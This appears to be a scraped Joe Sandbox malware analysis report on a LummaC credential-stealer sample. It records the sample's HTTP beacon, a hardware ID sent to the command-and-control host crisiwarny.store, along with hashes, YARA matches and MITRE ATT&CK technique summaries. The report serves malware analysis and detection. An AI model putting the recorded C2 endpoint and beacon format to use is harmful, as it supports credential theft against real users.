Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:07 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1238 Host: crisiwarny.store
2024-10-28 05:28:07 UTC	1238	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 33 45 32 31 37 35 45 36 39 32 37 45 30 34 41 43 30 33 42 36 45 30 35 35 36 33 36 45 39 36 43 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"F3E2175E6927E04AC03B6E055636E96C--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-28 05:29:09 UTC	946	IN	HTTP/1.1 504 Gateway Time-out Date: Mon, 28 Oct 2024 05:29:09 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 15 Connection: close Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bwz1XNgoZQdPUh7BQFpj0O0zihxDAGB49tUdbVQMq%2Fak%2B63%2FhxMW5VF%2FxPVWMBD%2F6cFfCKMrBBAi3G0vsSrKe8NlSnhU1xiJ4f5OiIaCiVAfEtqGgO33qkff96kGTJV654dM"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Frame-Options: SAMEORIGIN Referrer-Policy: same-origin Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Thu, 01 Jan 1970 00:00:01 GMT Server: cloudflare CF-RAY: 8d988544ae20e772-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1290&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2838&recv_bytes=2155&delivery_rate=2193939&cwnd=252&unsent_bytes=0&cid=97b078b34e74441f&ts=62681&x=0"
2024-10-28 05:29:09 UTC	15	IN	Data Raw: 65 72 72 6f 72 20 63 6f 64 65 3a 20 35 30 34 Data Ascii: error code: 504

Target ID:	0
Start time:	01:27:02
Start date:	28/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xad0000
File size:	3'008'512 bytes
MD5 hash:	0C381C2EC5177F64BED8DA59EABE980C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2677168084.0000000000A27000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2679820226.0000000000A40000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2660808413.00000000009EB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2660217541.0000000000A21000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2677527532.0000000000A37000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2662059685.00000000009EB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2512660665.00000000009EB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2514190355.00000000009EB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Function 009F3EB1 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2677812425.00000000009F2000.00000004.00000020.00020000.00000000.sdmp, Offset: 009F2000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_9eb000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7279e062b8ef3307d5070d7bfd30d150f480777afcbb24c7dc8213756eb2b11a
Instruction ID: 57fb2ea607ff8873007e21806f6f7882ede0064b4459c12df2bb9b1eb5d77bd7
Opcode Fuzzy Hash: 7279e062b8ef3307d5070d7bfd30d150f480777afcbb24c7dc8213756eb2b11a
Instruction Fuzzy Hash: A72134621092D58FD303CF34D4A4A92BFA1FF8B31639E80DCC9C18F427C2A56942CB42

Function 009F3EB1 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2677812425.00000000009F2000.00000004.00000020.00020000.00000000.sdmp, Offset: 009EB000, based on PE: false

Associated: 00000000.00000003.3323153339.00000000009EB000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_9eb000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ed05a653ddd84a716bdee8dc2e2ce0a7f087bf31e1808b581324bb5cdcf4b72
Instruction ID: 57fb2ea607ff8873007e21806f6f7882ede0064b4459c12df2bb9b1eb5d77bd7
Opcode Fuzzy Hash: 6ed05a653ddd84a716bdee8dc2e2ce0a7f087bf31e1808b581324bb5cdcf4b72
Instruction Fuzzy Hash: A72134621092D58FD303CF34D4A4A92BFA1FF8B31639E80DCC9C18F427C2A56942CB42

Function 00A28EC8 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2677168084.0000000000A27000.00000004.00000020.00020000.00000000.sdmp, Offset: 00A27000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_a27000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc32f643072fc828c887649f2b890c449bde294a836ceaaf03f67a414b65da4c
Instruction ID: 6a8940c5955fe289d9caa18d3b1f4bb57af20e7ef437cf8330d7aaf34ee41558
Opcode Fuzzy Hash: cc32f643072fc828c887649f2b890c449bde294a836ceaaf03f67a414b65da4c
Instruction Fuzzy Hash: 4721FF7205A3C1AFCB52DF38C9D1A833F61AF4732474A82D8E4805E047D328A623CB92

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

Windows Analysis Report
file.exe